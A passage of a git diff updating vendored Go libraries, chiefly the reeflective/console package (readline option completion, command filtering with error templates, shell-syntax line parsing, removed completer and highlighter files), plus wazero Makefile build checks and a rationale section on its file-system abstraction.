"github.com/reeflective/readline" "github.com/spf13/cobra" + + "github.com/reeflective/readline" ) // Commands returns a command named `readline`, with subcommands dedicated diff --git a/vendor/github.com/reeflective/console/commands/readline/set.go b/vendor/github.com/reeflective/console/commands/readline/set.go index 92d2739ea2..53c66ad053 100644 --- a/vendor/github.com/reeflective/console/commands/readline/set.go +++ b/vendor/github.com/reeflective/console/commands/readline/set.go @@ -3,13 +3,23 @@ package readline import ( "errors" "strconv" + "strings" - "github.com/reeflective/readline" "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" + "golang.org/x/exp/maps" + "golang.org/x/exp/slices" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" ) +// We here must assume that all bind changes during the lifetime +// of the binary are all made by a single readline application. +// This config only stores the vars/binds that have been changed. +var cfgChanged = inputrc.NewConfig() + // Set returns a command named `set`, for manipulating readline global options. func Set(shell *readline.Shell) *cobra.Command { cmd := &cobra.Command{ @@ -45,7 +55,11 @@ func Set(shell *readline.Shell) *cobra.Command { } // Set the option. - return shell.Config.Set(args[0], value) + if err = shell.Config.Set(args[0], value); err != nil { + return err + } + + return cfgChanged.Set(args[0], value) }, } @@ -61,11 +75,20 @@ func Set(shell *readline.Shell) *cobra.Command { } argComp := func(c carapace.Context) carapace.Action { - val := c.Args[len(c.Args)-1] + val := strings.TrimSpace(c.Args[len(c.Args)-1]) option := shell.Config.Get(val) if option == nil { - return carapace.ActionValues() + return carapace.ActionMessage("No var named %v", option) + } + + switch val { + case "cursor-style": + return carapace.ActionValues("block", "beam", "underline", "blinking-block", "blinking-underline", "blinking-beam", "default") + case "editing-mode": + return carapace.ActionValues("vi", "emacs") + case "keymap": + return completeKeymaps(shell, cmd) } switch option.(type) { @@ -73,8 +96,8 @@ func Set(shell *readline.Shell) *cobra.Command { return carapace.ActionValues("on", "off", "true", "false").StyleF(style.ForKeyword) case int: return carapace.ActionValues().Usage("option value (int)") - default: - carapace.ActionValues().Usage("option value (string)") + case string: + return carapace.ActionValues().Usage("option value (string)") } return carapace.ActionValues().Usage("option value") @@ -87,3 +110,59 @@ func Set(shell *readline.Shell) *cobra.Command { return cmd } + +// Returns the subset of inputrc variables that are specific +// to this library and application/binary. +func filterAppLibVars(cfgVars map[string]interface{}) map[string]interface{} { + appVars := make(map[string]interface{}) + + defCfg := inputrc.DefaultVars() + defVars := maps.Keys(defCfg) + + for name, val := range cfgVars { + if slices.Contains(defVars, name) { + continue + } + + appVars[name] = val + } + + return appVars +} + +// Returns the subset of inputrc variables that are specific +// to this library and application/binary. +func filterLegacyVars(cfgVars map[string]interface{}) map[string]interface{} { + appVars := make(map[string]interface{}) + + defCfg := inputrc.DefaultVars() + defVars := maps.Keys(defCfg) + + for name, val := range cfgVars { + if !slices.Contains(defVars, name) { + continue + } + + appVars[name] = val + } + + return appVars +} + +// Filters out all configuration variables that have not been changed. +func filterChangedVars(allVars map[string]interface{}) map[string]interface{} { + if allVars == nil { + return cfgChanged.Vars + } + + appVars := make(map[string]interface{}) + defVars := maps.Keys(appVars) + + for name, val := range allVars { + if slices.Contains(defVars, name) { + appVars[name] = val + } + } + + return appVars +} diff --git a/vendor/github.com/reeflective/console/console.go b/vendor/github.com/reeflective/console/console.go index ae9898f563..619dd69f41 100644 --- a/vendor/github.com/reeflective/console/console.go +++ b/vendor/github.com/reeflective/console/console.go @@ -136,11 +136,12 @@ func (c *Console) Menu(name string) *Menu { // that belong to this new menu. If the menu is invalid, i.e that no commands // are bound to this menu name, the current menu is kept. func (c *Console) SwitchMenu(menu string) { - c.mutex.RLock() - defer c.mutex.RUnlock() + c.mutex.Lock() + target, found := c.menus[menu] + c.mutex.Unlock() - // Only switch if the target menu was found. - if target, found := c.menus[menu]; found && target != nil { + if found && target != nil { + // Only switch if the target menu was found. current := c.activeMenu() if current != nil && target == current { return diff --git a/vendor/github.com/reeflective/console/highlighter.go b/vendor/github.com/reeflective/console/highlighter.go index f16b0ffd55..436b7c006b 100644 --- a/vendor/github.com/reeflective/console/highlighter.go +++ b/vendor/github.com/reeflective/console/highlighter.go @@ -71,7 +71,8 @@ func (c *Console) highlightCommand(done, args []string, _ *cobra.Command) ([]str // Highlight the root command when found, or any of its aliases. for _, cmd := range c.activeMenu().Commands() { - cmdFound := cmd.Use == strings.TrimSpace(args[0]) + // Change 1: Highlight based on first arg in usage rather than the entire usage itself + cmdFound := strings.Split(cmd.Use, " ")[0] == strings.TrimSpace(args[0]) for _, alias := range cmd.Aliases { if alias == strings.TrimSpace(args[0]) { diff --git a/vendor/github.com/reeflective/console/line.go b/vendor/github.com/reeflective/console/line.go index 06408df5d2..d33ce06669 100644 --- a/vendor/github.com/reeflective/console/line.go +++ b/vendor/github.com/reeflective/console/line.go @@ -5,6 +5,9 @@ import ( "errors" "strings" "unicode/utf8" + + "github.com/kballard/go-shellquote" + "mvdan.cc/sh/v3/syntax" ) var ( @@ -21,6 +24,29 @@ var ( errUnterminatedEscape = errors.New("unterminated backslash-escape") ) +// parse is in charge of removing all comments from the input line +// before execution, and if successfully parsed, split into words. +func (c *Console) parse(line string) (args []string, err error) { + lineReader := strings.NewReader(line) + parser := syntax.NewParser(syntax.KeepComments(false)) + + // Parse the shell string a syntax, removing all comments. + stmts, err := parser.Parse(lineReader, "") + if err != nil { + return nil, err + } + + var parsedLine bytes.Buffer + + err = syntax.NewPrinter().Print(&parsedLine, stmts) + if err != nil { + return nil, err + } + + // Split the line into shell words. + return shellquote.Split(parsedLine.String()) +} + // acceptMultiline determines if the line just accepted is complete (in which case // we should execute it), or incomplete (in which case we must read in multiline). func (c *Console) acceptMultiline(line []rune) (accept bool) { diff --git a/vendor/github.com/reeflective/console/menu.go b/vendor/github.com/reeflective/console/menu.go index 27d8412a18..68e9be5d8f 100644 --- a/vendor/github.com/reeflective/console/menu.go +++ b/vendor/github.com/reeflective/console/menu.go @@ -2,12 +2,16 @@ package console import ( "bytes" + "errors" "fmt" + "io" "strings" "sync" + "text/template" - "github.com/reeflective/readline" "github.com/spf13/cobra" + + "github.com/reeflective/readline" ) // Menu - A menu is a simple way to seggregate commands based on @@ -35,6 +39,9 @@ type Menu struct { // Command spawner cmds Commands + // An error template to use to produce errors when a command is unavailable. + errFilteredTemplate string + // History sources peculiar to this menu. historyNames []string histories map[string]readline.History @@ -186,21 +193,114 @@ func (m *Menu) Printf(msg string, args ...any) (n int, err error) { return m.console.Printf(buf) } +// CheckIsAvailable checks if a target command is marked as filtered +// by the console application registered/and or active filters (added +// with console.Hide/ShowCommand()). +// If filtered, returns a template-formatted error message showing the +// list of incompatible filters. If not filtered, no error is returned. +func (m *Menu) CheckIsAvailable(cmd *cobra.Command) error { + if cmd == nil { + return nil + } + + filters := m.ActiveFiltersFor(cmd) + if len(filters) == 0 { + return nil + } + + var bufErr strings.Builder + + err := tmpl(&bufErr, m.errorFilteredCommandTemplate(filters), map[string]interface{}{ + "menu": m, + "cmd": cmd, + "filters": filters, + }) + if err != nil { + return err + } + + return errors.New(bufErr.String()) +} + +// ActiveFiltersFor returns all the active menu filters that a given command +// does not declare as compliant with (added with console.Hide/ShowCommand()). +func (m *Menu) ActiveFiltersFor(cmd *cobra.Command) []string { + if cmd.Annotations == nil { + if cmd.HasParent() { + return m.ActiveFiltersFor(cmd.Parent()) + } + + return nil + } + + m.console.mutex.Lock() + defer m.console.mutex.Unlock() + + // Get the filters on the command + filterStr := cmd.Annotations[CommandFilterKey] + var filters []string + + for _, cmdFilter := range strings.Split(filterStr, ",") { + for _, filter := range m.console.filters { + if cmdFilter != "" && cmdFilter == filter { + filters = append(filters, cmdFilter) + } + } + } + + if len(filters) > 0 || !cmd.HasParent() { + return filters + } + + // Any parent that is hidden make its whole subtree hidden also. + return m.ActiveFiltersFor(cmd.Parent()) +} + +// SetErrFilteredCommandTemplate sets the error template to be used +// when a called command can't be executed because it's mark filtered. +func (m *Menu) SetErrFilteredCommandTemplate(s string) { + m.errFilteredTemplate = s +} + // resetPreRun is called before each new read line loop and before arbitrary RunCommand() calls. // This function is responsible for resetting the menu state to a clean state, regenerating the // menu commands, and ensuring that the correct prompt is bound to the shell. func (m *Menu) resetPreRun() { - m.console.mutex.RLock() - defer m.console.mutex.RUnlock() + m.mutex.Lock() + defer m.mutex.Unlock() + + // Commands + if m.cmds != nil { + m.Command = m.cmds() + } + + if m.Command == nil { + m.Command = &cobra.Command{ + Annotations: make(map[string]string), + } + } + + // Hide commands that are not available + m.hideFilteredCommands(m.Command) // Menu setup - m.resetCommands() // Regenerate the commands for the menu. m.resetCmdOutput() // Reset or adjust any buffered command output. m.prompt.bind(m.console.shell) // Prompt binding +} - // Console-wide setup. - m.console.ensureNoRootRunner() // Avoid printing any help when the command line is empty - m.console.hideFilteredCommands() // Hide commands that are not available +// hide commands that are filtered so that they are not +// shown in the help strings or proposed as completions. +func (m *Menu) hideFilteredCommands(root *cobra.Command) { + for _, cmd := range root.Commands() { + // Don't override commands if they are already hidden + if cmd.Hidden { + continue + } + + if filters := m.ActiveFiltersFor(cmd); len(filters) > 0 { + cmd.Hidden = true + } + } } func (m *Menu) resetCmdOutput() { @@ -217,20 +317,6 @@ func (m *Menu) resetCmdOutput() { m.out.WriteString("\n") } -func (m *Menu) resetCommands() { - if m.cmds != nil { - m.Command = m.cmds() - } - - if m.Command == nil { - m.Command = &cobra.Command{ - Annotations: make(map[string]string), - } - } - - m.SilenceUsage = true -} - func (m *Menu) defaultHistoryName() string { var name string @@ -240,3 +326,24 @@ func (m *Menu) defaultHistoryName() string { return fmt.Sprintf("local history%s", name) } + +func (m *Menu) errorFilteredCommandTemplate(filters []string) string { + if m.errFilteredTemplate != "" { + return m.errFilteredTemplate + } + + return `Command {{.cmd.Name}} is only available for: {{range .filters }} + - {{.}} {{end}}` +} + +// tmpl executes the given template text on data, writing the result to w. +func tmpl(w io.Writer, text string, data interface{}) error { + t := template.New("top") + t.Funcs(templateFuncs) + template.Must(t.Parse(text)) + return t.Execute(w, data) +} + +var templateFuncs = template.FuncMap{ + "trim": strings.TrimSpace, +} diff --git a/vendor/github.com/reeflective/console/run.go b/vendor/github.com/reeflective/console/run.go index eb5b60b9c1..29c6821d90 100644 --- a/vendor/github.com/reeflective/console/run.go +++ b/vendor/github.com/reeflective/console/run.go @@ -37,7 +37,7 @@ func (c *Console) Start() error { c.printed = false - if err := c.runPreReadHooks(); err != nil { + if err := c.runAllE(c.PreReadlineHooks); err != nil { fmt.Printf("Pre-read error: %s\n", err.Error()) continue } @@ -59,10 +59,10 @@ func (c *Console) Start() error { // so we must be sure we use the good one. menu = c.activeMenu() - // Split the line into shell words. - args, err := shellquote.Split(line) + // Parse the line with bash-syntax, removing comments. + args, err := c.parse(line) if err != nil { - fmt.Printf("Line error: %s\n", err.Error()) + fmt.Printf("Parsing error: %s\n", err.Error()) continue } @@ -83,13 +83,31 @@ func (c *Console) Start() error { // the library user is responsible for setting // the cobra behavior. // If it's an interrupt, we take care of it. - c.execute(menu, args, false) + if err := c.execute(menu, args, false); err != nil { + fmt.Println(err) + } } } -// RunCommand is a convenience function to run a command in a given menu. -// After running, the menu commands are reset, and the prompts reloaded. -func (m *Menu) RunCommand(line string) (err error) { +// RunCommandArgs is a convenience function to run a command line in a given menu. +// After running, the menu's commands are reset, and the prompts reloaded, therefore +// mostly mimicking the behavior that is the one of the normal readline/run/readline +// workflow. +// Although state segregation is a priority for this library to be ensured as much +// as possible, you should be cautious when using this function to run commands. +func (m *Menu) RunCommandArgs(args []string) (err error) { + // The menu used and reset is the active menu. + // Prepare its output buffer for the command. + m.resetPreRun() + + // Run the command and associated helpers. + return m.console.execute(m, args, !m.console.isExecuting) +} + +// RunCommandLine is the equivalent of menu.RunCommandArgs(), but accepts +// an unsplit command line to execute. This line is split and processed in +// *sh-compliant form, identically to how lines are in normal console usage. +func (m *Menu) RunCommandLine(line string) (err error) { if len(line) == 0 { return } @@ -100,14 +118,7 @@ func (m *Menu) RunCommand(line string) (err error) { return fmt.Errorf("line error: %w", err) } - // The menu used and reset is the active menu. - // Prepare its output buffer for the command. - m.resetPreRun() - - // Run the command and associated helpers. - m.console.execute(m, args, !m.console.isExecuting) - - return + return m.RunCommandArgs(args) } // execute - The user has entered a command input line, the arguments have been processed: @@ -134,14 +145,14 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) { // Find the target command: if this command is filtered, don't run it. target, _, _ := cmd.Find(args) - if c.isFiltered(target) { - return + + if err = menu.CheckIsAvailable(target); err != nil { + return err } // Console-wide pre-run hooks, cannot. - if err = c.runPreRunHooks(); err != nil { - fmt.Printf("Pre-run error: %s\n", err.Error()) - return + if err = c.runAllE(c.PreCmdRunHooks); err != nil { + return fmt.Errorf("pre-run error: %s", err.Error()) } // Assign those arguments to our parser. @@ -162,7 +173,10 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) { // Wait for the command to finish, or for an OS signal to be caught. select { case <-ctx.Done(): - err = ctx.Err() + if !errors.Is(ctx.Err(), context.Canceled) { + err = ctx.Err() + } + case signal := <-sigchan: cancel(errors.New(signal.String())) menu.handleInterrupt(errors.New(signal.String())) @@ -181,7 +195,7 @@ func (c *Console) executeCommand(cmd *cobra.Command, cancel context.CancelCauseF // And the post-run hooks in the same goroutine, // because they should not be skipped even if // the command is backgrounded by the user. - if err := c.runPostRunHooks(); err != nil { + if err := c.runAllE(c.PostCmdRunHooks); err != nil { cancel(err) return } @@ -190,18 +204,6 @@ func (c *Console) executeCommand(cmd *cobra.Command, cancel context.CancelCauseF cancel(nil) } -// Generally, an empty command entered should just print a new prompt, -// unlike for classic CLI usage when the program will print its usage string. -// We simply remove any RunE from the root command, so that nothing is -// printed/executed by default. Pre/Post runs are still used if any. -func (c *Console) ensureNoRootRunner() { - if c.activeMenu().Command != nil { - c.activeMenu().RunE = func(cmd *cobra.Command, args []string) error { - return nil - } - } -} - func (c *Console) loadActiveHistories() { c.shell.History.Delete() @@ -210,8 +212,8 @@ func (c *Console) loadActiveHistories() { } } -func (c *Console) runPreReadHooks() error { - for _, hook := range c.PreReadlineHooks { +func (c *Console) runAllE(hooks []func() error) error { + for _, hook := range hooks { if err := hook(); err != nil { return err } @@ -235,26 +237,6 @@ func (c *Console) runLineHooks(args []string) ([]string, error) { return processed, nil } -func (c *Console) runPreRunHooks() error { - for _, hook := range c.PreCmdRunHooks { - if err := hook(); err != nil { - return err - } - } - - return nil -} - -func (c *Console) runPostRunHooks() error { - for _, hook := range c.PostCmdRunHooks { - if err := hook(); err != nil { - return err - } - } - - return nil -} - // monitorSignals - Monitor the signals that can be sent to the process // while a command is running. We want to be able to cancel the command. func (c *Console) monitorSignals() <-chan os.Signal { diff --git a/vendor/github.com/reeflective/console/syntax-highlighter.go b/vendor/github.com/reeflective/console/syntax-highlighter.go deleted file mode 100644 index f16b0ffd55..0000000000 --- a/vendor/github.com/reeflective/console/syntax-highlighter.go +++ /dev/null @@ -1,111 +0,0 @@ -package console - -import ( - "strings" - - "github.com/spf13/cobra" -) - -var ( - seqFgGreen = "\x1b[32m" - seqFgYellow = "\x1b[33m" - seqFgReset = "\x1b[39m" - - seqBrightWigth = "\x1b[38;05;244m" -) - -// Base text effects. -var ( - reset = "\x1b[0m" - bold = "\x1b[1m" - dim = "\x1b[2m" - underscore = "\x1b[4m" - blink = "\x1b[5m" - reverse = "\x1b[7m" - - // Effects reset. - boldReset = "\x1b[22m" // 21 actually causes underline instead - dimReset = "\x1b[22m" - underscoreReset = "\x1b[24m" - blinkReset = "\x1b[25m" - reverseReset = "\x1b[27m" -) - -// highlightSyntax - Entrypoint to all input syntax highlighting in the Wiregost console. -func (c *Console) highlightSyntax(input []rune) (line string) { - // Split the line as shellwords - args, unprocessed, err := split(string(input), true) - if err != nil { - args = append(args, unprocessed) - } - - highlighted := make([]string, 0) // List of processed words, append to - remain := args // List of words to process, draw from - trimmed := trimSpacesMatch(remain) // Match stuff against trimmed words - - // Highlight the root command when found. - cmd, _, _ := c.activeMenu().Find(trimmed) - if cmd != nil { - highlighted, remain = c.highlightCommand(highlighted, args, cmd) - } - - // Highlight command flags - highlighted, remain = c.highlightCommandFlags(highlighted, remain, cmd) - - // Done with everything, add remainind, non-processed words - highlighted = append(highlighted, remain...) - - // Join all words. - line = strings.Join(highlighted, "") - - return line -} - -func (c *Console) highlightCommand(done, args []string, _ *cobra.Command) ([]string, []string) { - highlighted := make([]string, 0) - var rest []string - - if len(args) == 0 { - return done, args - } - - // Highlight the root command when found, or any of its aliases. - for _, cmd := range c.activeMenu().Commands() { - cmdFound := cmd.Use == strings.TrimSpace(args[0]) - - for _, alias := range cmd.Aliases { - if alias == strings.TrimSpace(args[0]) { - cmdFound = true - break - } - } - - if cmdFound { - highlighted = append(highlighted, bold+seqFgGreen+args[0]+seqFgReset+boldReset) - rest = args[1:] - - return append(done, highlighted...), rest - } - } - - return append(done, highlighted...), args -} - -func (c *Console) highlightCommandFlags(done, args []string, _ *cobra.Command) ([]string, []string) { - highlighted := make([]string, 0) - var rest []string - - if len(args) == 0 { - return done, args - } - - for _, arg := range args { - if strings.HasPrefix(arg, "-") || strings.HasPrefix(arg, "--") { - highlighted = append(highlighted, bold+seqBrightWigth+arg+seqFgReset+boldReset) - } else { - highlighted = append(highlighted, arg) - } - } - - return append(done, highlighted...), rest -} diff --git a/vendor/github.com/reeflective/console/tab-completer.go b/vendor/github.com/reeflective/console/tab-completer.go deleted file mode 100644 index 2da490bb65..0000000000 --- a/vendor/github.com/reeflective/console/tab-completer.go +++ /dev/null @@ -1,301 +0,0 @@ -package console - -import ( - "bytes" - "errors" - "fmt" - "os" - "strings" - "unicode/utf8" - - "github.com/reeflective/readline" - "github.com/rsteube/carapace" - "github.com/rsteube/carapace/pkg/style" - "github.com/rsteube/carapace/pkg/xdg" -) - -func (c *Console) complete(line []rune, pos int) readline.Completions { - menu := c.activeMenu() - - // Split the line as shell words, only using - // what the right buffer (up to the cursor) - rbuffer := line[:pos] - args, prefix := splitArgs(rbuffer) - args = sanitizeArgs(rbuffer, args) - - // Prepare arguments for the carapace completer - // (we currently need those two dummies for avoiding a panic). - args = append([]string{"examples", "_carapace"}, args...) - - // Call the completer with our current command context. - values, meta := carapace.Complete(menu.Command, args, c.completeCommands(menu)) - - // Tranfer all completion results to our readline shell completions. - raw := make([]readline.Completion, len(values)) - - for idx, val := range values { - value := readline.Completion{ - Value: val.Value, - Display: val.Display, - Description: val.Description, - Style: val.Style, - Tag: val.Tag, - } - raw[idx] = value - } - - // Assign both completions and command/flags/args usage strings. - comps := readline.CompleteRaw(raw) - comps = comps.Usage(meta.Usage) - comps = c.justifyCommandComps(comps) - - // Suffix matchers for the completions if any. - if meta.Nospace.String() != "" { - comps = comps.NoSpace([]rune(meta.Nospace.String())...) - } - - // If we have a quote/escape sequence unaccounted - // for in our completions, add it to all of them. - if prefix != "" { - comps = comps.Prefix(prefix) - } - - return comps -} - -func splitArgs(line []rune) (args []string, prefix string) { - // Split the line as shellwords, return them if all went fine. - args, remain, err := splitCompWords(string(line)) - if err == nil { - return args, remain - } - - // If we had an error, it's because we have an unterminated quote/escape sequence. - // In this case we split the remainder again, as the completer only ever considers - // words as space-separated chains of characters. - if errors.Is(err, errUnterminatedDoubleQuote) { - remain = strings.Trim(remain, "\"") - prefix = "\"" - } else if errors.Is(err, errUnterminatedSingleQuote) { - remain = strings.Trim(remain, "'") - prefix = "'" - } - - args = append(args, strings.Split(remain, " ")...) - - return -} - -func sanitizeArgs(rbuffer []rune, args []string) (sanitized []string) { - // Like in classic system shells, we need to add an empty - // argument if the last character is a space: the args - // returned from the previous call don't account for it. - if strings.HasSuffix(string(rbuffer), " ") || len(args) == 0 { - args = append(args, "") - } else if strings.HasSuffix(string(rbuffer), "\n") { - args = append(args, "") - } - - if len(args) == 0 { - return - } - - sanitized = args[:len(args)-1] - last := args[len(args)-1] - - // The last word should not comprise newlines. - last = strings.ReplaceAll(last, "\n", " ") - last = strings.ReplaceAll(last, "\\ ", " ") - sanitized = append(sanitized, last) - - return sanitized -} - -// Regenerate commands and apply any filters. -func (c *Console) completeCommands(menu *Menu) func() { - commands := func() { - menu.resetCommands() - c.hideFilteredCommands() - } - - return commands -} - -func (c *Console) justifyCommandComps(comps readline.Completions) readline.Completions { - justified := []string{} - - comps.EachValue(func(comp readline.Completion) readline.Completion { - if !strings.HasSuffix(comp.Tag, "commands") { - return comp - } - - justified = append(justified, comp.Tag) - - return comp - }) - - if len(justified) > 0 { - return comps.JustifyDescriptions(justified...) - } - - return comps -} - -func (c *Console) defaultStyleConfig() { - // If carapace config file is found, just return. - if dir, err := xdg.UserConfigDir(); err == nil { - _, err := os.Stat(fmt.Sprintf("%v/carapace/styles.json", dir)) - if err == nil { - return - } - } - - // Overwrite all default styles for color - for i := 1; i < 13; i++ { - styleStr := fmt.Sprintf("carapace.Highlight%d", i) - style.Set(styleStr, "bright-white") - } - - // Overwrite all default styles for flags - style.Set("carapace.FlagArg", "bright-white") - style.Set("carapace.FlagMultiArg", "bright-white") - style.Set("carapace.FlagNoArg", "bright-white") - style.Set("carapace.FlagOptArg", "bright-white") -} - -// split has been copied from go-shellquote and slightly modified so as to also -// return the remainder when the parsing failed because of an unterminated quote. -func splitCompWords(input string) (words []string, remainder string, err error) { - var buf bytes.Buffer - words = make([]string, 0) - - for len(input) > 0 { - // skip any splitChars at the start - char, read := utf8.DecodeRuneInString(input) - if strings.ContainsRune(splitChars, char) { - input = input[read:] - continue - } else if char == escapeChar { - // Look ahead for escaped newline so we can skip over it - next := input[read:] - if len(next) == 0 { - remainder = string(escapeChar) - err = errUnterminatedEscape - return - } - c2, l2 := utf8.DecodeRuneInString(next) - if c2 == '\n' { - input = next[l2:] - continue - } - } - - var word string - word, input, err = splitCompWord(input, &buf) - - if err != nil { - remainder = input - return - } - - words = append(words, word) - } - - return words, remainder, nil -} - -// splitWord has been modified to return the remainder of the input (the part that has not been -// added to the buffer) even when an error is returned. -func splitCompWord(input string, buf *bytes.Buffer) (word string, remainder string, err error) { - buf.Reset() - -raw: - { - cur := input - for len(cur) > 0 { - char, read := utf8.DecodeRuneInString(cur) - cur = cur[read:] - switch { - case char == singleChar: - buf.WriteString(input[0 : len(input)-len(cur)-read]) - input = cur - goto single - case char == doubleChar: - buf.WriteString(input[0 : len(input)-len(cur)-read]) - input = cur - goto double - case char == escapeChar: - buf.WriteString(input[0 : len(input)-len(cur)-read]) - buf.WriteRune(char) - input = cur - goto escape - case strings.ContainsRune(splitChars, char): - buf.WriteString(input[0 : len(input)-len(cur)-read]) - return buf.String(), cur, nil - } - } - if len(input) > 0 { - buf.WriteString(input) - input = "" - } - goto done - } - -escape: - { - if len(input) == 0 { - input = buf.String() + input - return "", input, errUnterminatedEscape - } - c, l := utf8.DecodeRuneInString(input) - if c != '\n' { - buf.WriteString(input[:l]) - } - input = input[l:] - } - - goto raw - -single: - { - i := strings.IndexRune(input, singleChar) - if i == -1 { - return "", input, errUnterminatedSingleQuote - } - buf.WriteString(input[0:i]) - input = input[i+1:] - goto raw - } - -double: - { - cur := input - for len(cur) > 0 { - c, read := utf8.DecodeRuneInString(cur) - cur = cur[read:] - switch c { - case doubleChar: - buf.WriteString(input[0 : len(input)-len(cur)-read]) - input = cur - goto raw - case escapeChar: - // bash only supports certain escapes in double-quoted strings - char2, l2 := utf8.DecodeRuneInString(cur) - cur = cur[l2:] - if strings.ContainsRune(doubleEscapeChars, char2) { - buf.WriteString(input[0 : len(input)-len(cur)-read-l2]) - - if char2 != '\n' { - buf.WriteRune(char2) - } - input = cur - } - } - } - - return "", input, errUnterminatedDoubleQuote - } - -done: - return buf.String(), input, nil -} diff --git a/vendor/github.com/tetratelabs/wazero/Makefile b/vendor/github.com/tetratelabs/wazero/Makefile index 5c7eae416f..4ed46536ee 100644 --- a/vendor/github.com/tetratelabs/wazero/Makefile +++ b/vendor/github.com/tetratelabs/wazero/Makefile @@ -212,6 +212,10 @@ check: # This makes sure the intepreter can be used. Most often the package that can # drift here is "platform" or "sysfs": # +# Ensure we build on plan9. See #1578 + @GOARCH=amd64 GOOS=plan9 go build ./... +# Ensure we build on gojs. See #1526. TODO: add GOOS=wasi as well. + @GOARCH=wasm GOOS=js go build ./... # Ensure we build on windows: @GOARCH=amd64 GOOS=windows go build ./... # Ensure we build on an arbitrary operating system: diff --git a/vendor/github.com/tetratelabs/wazero/RATIONALE.md b/vendor/github.com/tetratelabs/wazero/RATIONALE.md index 32a0da20e6..d8a1d12e2b 100644 --- a/vendor/github.com/tetratelabs/wazero/RATIONALE.md +++ b/vendor/github.com/tetratelabs/wazero/RATIONALE.md @@ -616,6 +616,135 @@ act differently and document `ModuleConfig` is more about emulating, not necessa ## File systems +### Motivation on `sys.FS` + +The `sys.FS` abstraction in wazero was created because of limitations in +`fs.FS`, and `fs.File` in Go. Compilers targeting `wasip1` may access +functionality that writes new files. The ability to overcome this was requested +even before wazero was named this, via issue #21 in March 2021. + +A month later, golang/go#45757 was raised by someone else on the same topic. As +of July 2023, this has not resolved to a writeable file system abstraction. + +Over the next year more use cases accumulated, consolidated in March 2022 into +#390. This closed in January 2023 with a milestone of providing more +functionality, limited to users giving a real directory. This didn't yet expose +a file abstraction for general purpose use. Internally, this used `os.File`. +However, a wasm module instance is a virtual machine. Only supporting `os.File` +breaks sand-boxing use cases. Moreover, `os.File` is not an interface. Even +though this abstracts functionality, it does allow interception use cases. + +Hence, a few days later in January 2023, we had more issues asking to expose an +abstraction, #1013 and later #1532, on use cases like masking access to files. +In other words, the use case requests never stopped, and aren't solved by +exposing only real files. + +In summary, the primary motivation for exposing a replacement for `fs.FS` and +`fs.File` was around repetitive use case requests for years, around +interception and the ability to create new files, both virtual and real files. +While some use cases are solved with real files, not all are. Regardless, an +interface approach is necessary to ensure users can intercept I/O operations. + +### Why doesn't `sys.File` have a `Fd()` method? + +There are many features we could expose. We could make File expose underlying +file descriptors in case they are supported, for integration of system calls +that accept multiple ones, namely `poll` for multiplexing. This special case is +described in a subsequent section. + +As noted above, users have been asking for a file abstraction for over two +years, and a common answer was to wait. Making users wait is a problem, +especially so long. Good reasons to make people wait are stabilization. Edge +case features are not a great reason to hold abstractions from users. + +Another reason is implementation difficulty. Go did not attempt to abstract +file descriptors. For example, unlike `fs.ReadFile` there is no `fs.FdFile` +interface. Most likely, this is because file descriptors are an implementation +detail of common features. Programming languages, including Go, do not require +end users to know about file descriptors. Types such as `fs.File` can be used +without any knowledge of them. Implementations may or may not have file +descriptors. For example, in Go, `os.DirFS` has underlying file descriptors +while `embed.FS` does not. + +Despite this, some may want to expose a non-standard interface because +`os.File` has `Fd() uintptr` to return a file descriptor. Mainly, this is +handy to integrate with `syscall` package functions (on `GOOS` values that +declare them). Notice, though that `uintptr` is unsafe and not an abstraction. +Close inspection will find some `os.File` types internally use `poll.FD` +instead, yet this is not possible to use abstractly because that type is not +exposed. For example, `plan9` uses a different type than `poll.FD`. In other +words, even in real files, `Fd()` is not wholly portable, despite it being +useful on many operating systems with the `syscall` package. + +The reasons above, why Go doesn't abstract `FdFile` interface are a subset of +reasons why `sys.File` does not. If we exposed `File.Fd()` we not only would +have to declare all the edge cases that Go describes including impact of +finalizers, we would have to describe these in terms of virtualized files. +Then, we would have to reason with this value vs our existing virtualized +`sys.FileTable`, mapping whatever type we return to keys in that table, also +in consideration of garbage collection impact. The combination of issues like +this could lead down a path of not implementing a file system abstraction at +all, and instead a weak key mapped abstraction of the `syscall` package. Once +we finished with all the edge cases, we would have lost context of the original +reason why we started.. simply to allow file write access! + +When wazero attempts to do more than what the Go programming language team, it +has to be carefully evaluated, to: +* Be possible to implement at least for `os.File` backed files +* Not be confusing or cognitively hard for virtual file systems and normal use. +* Affordable: custom code is solely the responsible by the core team, a much + smaller group of individuals than who maintain the Go programming language. + +Due to problems well known in Go, consideration of the end users who constantly +ask for basic file system functionality, and the difficulty virtualizing file +descriptors at multiple levels, we don't expose `Fd()` and likely won't ever +expose `Fd()` on `sys.File`. + +### Why does `sys.File` have a `Poll()` method, while `sys.FS` does not? + +wazero exposes `File.Poll` which allows one-at-a-time poll use cases, +requested by multiple users. This not only includes abstract tests such as +Go 1.21 `GOOS=wasip1`, but real use cases including python and container2wasm +repls, as well listen sockets. The main use cases is non-blocking poll on a +single file. Being a single file, this has no risk of problems such as +head-of-line blocking, even when emulated. + +The main use case of multi-poll are bidirectional network services, something +not used in `GOOS=wasip1` standard libraries, but could be in the future. +Moving forward without a multi-poller allows wazero to expose its file system +abstraction instead of continuing to hold back it back for edge cases. We'll +continue discussion below regardless, as rationale was requested. + +You can loop through multiple `sys.File`, using `File.Poll` to see if an event +is ready, but there is a head-of-line blocking problem. If a long timeout is +used, bad luck could have a file that has nothing to read or write before one +that does. This could cause more blocking than necessary, even if you could +poll the others just after with a zero timeout. What's worse than this is if +unlimited blocking was used (`timeout=-1`). The host implementations could use +goroutines to avoid this, but interrupting a "forever" poll is problematic. All +of these are reasons to consider a multi-poll API, but do not require exporting +`File.Fd()`. + +Should multi-poll becomes critical, `sys.FS` could expose a `Poll` function +like below, despite it being the non-portable, complicated if possible to +implement on all platforms and virtual file systems. +```go +ready, errno := fs.Poll([]sys.PollFile{{f1, sys.POLLIN}, {f2, sys.POLLOUT}}, timeoutMillis) +``` + +A real filesystem could handle this by using an approach like the internal +`unix.Poll` function in Go, passing file descriptors on unix platforms, or +returning `sys.ENOSYS` for unsupported operating systems. Implementation for +virtual files could have a strategy around timeout to avoid the worst case of +head-of-line blocking (unlimited timeout). + +Let's remember that when designing abstractions, it is not best to add an +interface for everything. Certainly, Go doesn't, as evidenced by them not +exposing `poll.FD` in `os.File`! Such a multi-poll could be limited to +built-in filesystems in the wazero repository, avoiding complexity of 